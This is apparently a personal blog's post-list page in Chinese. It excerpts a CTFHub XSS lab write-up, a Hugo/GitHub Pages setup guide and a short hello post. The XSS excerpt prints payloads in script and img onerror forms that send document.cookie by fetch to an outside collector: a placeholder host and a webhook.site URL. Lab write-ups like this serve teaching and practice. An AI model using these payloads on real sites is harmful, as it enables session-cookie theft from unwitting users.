Xss Ctfhub

ctfhub技能树xss靶场 这个靶场需要使用xss平台来获取bot访问携带的cookie等信息,需用借用到第三方平台我使用的是Webhook.site - Test, transform and automate Web requests and emails 前置深化知识,url请求拼接查询 fetch请求:要想用fetch请求引导js访问,必须把fetch放在标签之间或者是在标签内部通过一些事件属性来访问这个fetch网址 <script> fetch('http://xxxxxxx/?c=' + document.cookie); </script> <img src="x" onerror="fetch('http://xxxxxxx/?c=' + document.cookie)"> 还有就是写进payload的+ /等符号,如果不适用url编码可能会被当作空格处理 反射型xss 第一关上来,可以看到整个靶场的思路,先是一个submit,用来验证xss漏洞来的,然后就是下面的send to bot 这个用来模拟真实用户访问我们的xss注入脚本来获取到flag的过程, 先验证**alert(1)script>**这个payload来确认xss漏洞的存在 在第一关里面我们使用这个payload: 服务器直接502,代码中的 + 号、' 单引号在未经妥善 URL 编码的情况下发送给服务器,极易导致后端解析 URL 参数时发生错位,甚至引发服务器脚本报错。 可以通过反引号去掉+ payload: <img src=x onerror="fetch(`https://webhook.site/ac6a21ad-4a8e-4d9b-8e6b-a4a32493939f/?c=${document.cookie}`)"> 就可以去扎到flag 存储型xss 这一关很快就能发现奇怪的地方,输入了payload进去发现url并没有变化发现这一关是一个post请求提交的,这种存储型的xss,在我们提交了post请求之后,这个数据就已经被写入到了数据库,后面每个访问这个网址的人都会被xss注入 只需要刷新页面提交当前的url,bot访问这个页面就会拿到bot的cookie DOM反射 DOM型的xss漏洞说白了就是前端js逻辑过滤,前端没有waf干净我们的输入,这个是发生在前端的,不想反射型和存储型发送到了后端服务器 找到输入的地方要闭合,在输入内容最前方要闭合单引号,然后;分号结束语句,最后在末尾//来注释掉末尾的符号 所以这里可以通过fetch的方式引导访问网页 ...

2026-05-27 · 1 min

Setblog

hugo+githubpages个人博客搭建 环境配置 在系统环境变量配置里面找到path新建一个hugo.exe路径 Hugo博客搭建流程 创建站点骨架 在hogo项目里面打开终端输入 hugo new site blog 第二步就是初始化git仓库 出现了please tell me who you are 说明 Git 还没配置用户名邮箱。这是第一次用 Git 很正常。 本地预览 第一步就是要去下载主题 再blog文件页打开终端,使用git命令拉取主题 git submodule add https://github.com/adityatelange/hugo-PaperMod.git themes/PaperMod 第二步在blo目录下面的.toml文件配置博客全局设置 baseURL = "https://usually885.github.io/" languageCode = "zh-CN" title = "usually885" theme = "PaperMod" [params] defaultTheme = "auto" dateFormat = "2006-01-02" ShowReadingTime = true ShowShareButtons = true ShowCodeCopyButtons = true [menu] [[menu.main]] identifier = "posts" name = "博客" url = "/posts/" weight = 1 [[menu.main]] identifier = "about" name = "关于" url = "/about/" weight = 2 要想在本地预览这个博客界面需要先使用hugo server -D命令启动服务器,才能在浏览器打开这个blog本地文件 ...

2026-05-23 · 2 min

Hello Blog

这是我搭建的博客,hello啊 你在干嘛呢qwq

2026-05-23 · 1 min